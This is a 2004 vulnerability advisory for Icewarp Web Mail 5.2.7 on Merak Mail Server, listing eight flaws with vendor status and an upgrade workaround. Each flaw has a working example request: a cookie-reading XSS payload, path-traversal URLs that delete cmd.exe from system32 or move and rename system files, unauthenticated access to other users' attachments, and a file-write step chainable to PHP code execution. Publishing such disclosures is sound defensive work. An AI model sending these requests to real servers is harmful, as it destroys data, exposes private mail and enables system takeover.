Multiple vulnerabilities in Icewarp Web Mail 5.2.7
ShineShadow Security Report 10092004-01
TITLE: Multiple vulnerabilities in Icewarp Web Mail 5.2.7
BACKGROUND
Merak Mail Server, with the revolutionary Merak Mail Server GroupWare Server,
cutting-edge Merak Mail Server Instant Antispam and much more, is the fastest,
most stable, secure and 100% virus free mail server on the market today.
Every day companies choose Merak Mail Server's stability, speed, security,
functionality, scalability and multi-tiered delegated manageability over
products costing thousands of dollars more yet lacking the sophistication that
Merak delivers.
In less than 10 minutes you can have the same professional email server that
organizations such as NATO, the U.S. Navy, the FBI, Toyota, the U.S.
Government, and many ISP Providers and Developers depend on every day.
Source: www.MerakMailServer.com (official web-site)
VULNERABLE PRODUCTS
MERAK Mail Server 7.4.5 with Icewarp Web Mail 5.2.7 (maybe earlier also
vulnerable). MERAK Mail Server 7.5.2 with Icewarp Web Mail 5.2.8 is vulnerable
to vulnerability #5.
DETAILS
1.Multiple cross-site scripting (XSS) vulnerabilities.
Active session required: YES
Description: Remote user, who HAS active session on Merak Mail Server, can
execute cross-site scripting (XSS) attack. It could be used for executing
malicious code in web browsers of other users.
Vulnerable pages:
accountsettings.html
search.html
Examples:
http:// [targethost]:32000/mail/accountsettings.html->Add->”Account
name”,”Incoming mail server”,”User name” =
<script> alert(document.cookie) </script>
http:// [targethost]:32000/mail/search.html->”Search string” =
<script> alert(document.cookie) </script>
2.Arbitrary directories creation on target system.
Active session required: NO
Description: Remote user, who HASN'T active session on Merak Mail Server, can
create arbitrary directories on local file system of the target. It could be
used during attack on an affected system.
Vulnerable pages: viewaction.html
Example:
http://[targethost]:32000/mail/viewaction.html?Move_x=1&user=../../hacker
3. Full install path disclosure.
Active session required: NO
Description: Remote user, who HASN'T active session on Merak Mail Server,
can disclosure full install path of Merak Mail Server. It could be used during
attack on an affected system.
Vulnerable pages:
accountsettings_add.html
topmenu.html
Examples:
http://[target host]:32000/mail/accountsettings_add.html
http://[target host]:32000/mail/topmenu.html
4.Viewing or downloading arbitrary attachments.
Active session required: NO
Description:Remote user, who HASN'T active session on Merak Mail Server, can
access to attachments of any user. It could be used for access to personal
information of other users.
Vulnerable pages: attachment.html
Example:
http://[targethost]:32000/mail/attachment.html?user=merakdemo.com/admin&messageid=20040801&index=3&folder=inbox
5.Creating text file with arbitrary content.
Active session required: YES
Description: Remote user, who HAS active session on Merak Mail Server, can
create text file on Merak Mail Server with arbitrary content (include special
characters). Name of file will be accounts.dat. Combining this vulnerability
with vulnerability #8 attacker could executed arbitrary PHP code and take
complete control of an affected system.
Vulnerable pages: accountsettings_add.html
Example:
http://[targethost]:32000/mail/accountsettings_add.html?id=[sessionid]&Save_x=1&account[EMAIL]=hacker&account[HOST]=blackhat.org&account[HOSTUSER]=hacker&account[HOSTPASS]=31337&account[HOSTPASS2]=31337&accountid=[any
text with special characters]
Note: MERAK Mail Server 7.5.2 with Icewarp Mail Server 5.2.8 also vulnerable to
it.
6. Arbitrary files deletion on target system.
Active session required: NO
Description: Remote user, who HASN'T active session on Merak Mail Server, can
delete arbitrary files on local file system of the target. It could be used for
deleting any data on an affected system or causing denial of service (DOS)
conditions.
Vulnerable pages: viewaction.html
Example:
http://[targethost]:32000/mail/viewaction.html?messageid=cmd.exe&action=delete&originalfolder=c:/winnt/system32
7. Moving arbitrary files or directories on target system.
Active session required: NO
Description: Remote user, who HASN'T active session on Merak Mail Server,
can moving arbitrary files or directories on local file system of the target.
It could be used for causing denial of service (DOS) conditions or access to
arbitrary files on affected system.
Vulnerable pages: viewaction.html
Example:
http://[targethost]:32000/mail/viewaction.html?messageid=....//....//config/settings.cfg&Move_x=1&originalfolder=c:/Program%20Files/Merak/html/mail&user=../../html/mail
8. Renaming arbitrary files or directories on target system.
Active session required: YES
Description: Remote user, who HAS active session on Merak Mail Server, can
renaming arbitrary files or directories on local file system of the target.
Moving files or directories also possible. It could be used for causing denial
of service (DOS) conditions or access to arbitrary files on affected system.
Vulnerable pages: folders.html
Example:
http://[targethost]:32000/mail/folders.html?id=[sessionid]&folderold=....//....//....//….//….//winnt&folder=....//....//....//….//….//linux&Save_x=1
EXPLOITATION
IceWarp Web Mail (CONTROL service) must be running on Merak Mail Server
(default ENABLE). Only web browser is needed for exploitation of this
vulnerabilities.
WORKAROUND
Upgrade to MERAK Mail Server 7.5.2 with Icewarp Web Mail 5.2.8 or higher.
Disabling of Icewarp Web Mail service (Control.exe) also possible.
VENDOR STATUS
Vendor has been contacted on August 6th for this and some other vulnerabilities
(not described in this report). No response, but new version of the product
(MERAK Mail Server 7.5.2 with Icewarp Web Mail 5.2.8) has been released August,
12th. NOT ALL REPORTED VULNERABILITIES HAS BEEN FIXED IN ICEWARP WEB MAIL 5.2.8.
SUMMARY
An attacker who successfully exploited vulnerabilities described in this report
could take complete control of a Merak Mail Server 7.4.5 or an affected remote
system. Icewarp Web Mail 5.2.8 also vulnerable to other (undescribed in this
report) critical vulnerabilities. An attacker who successfully exploited of
this undescribed vulnerabilities could take complete control of a Merak Mail
Server 7.5.2 or an affected remote system. I’m not advice to use this
product, you must disable Icewarp Web Mail service.
CREDITS
ShineShadow, undependent computer security expert.
To get more information, please contact me by e-mail.
10.09.2004
ShineShadow,
ss_contacts@xxxxxxxxxxx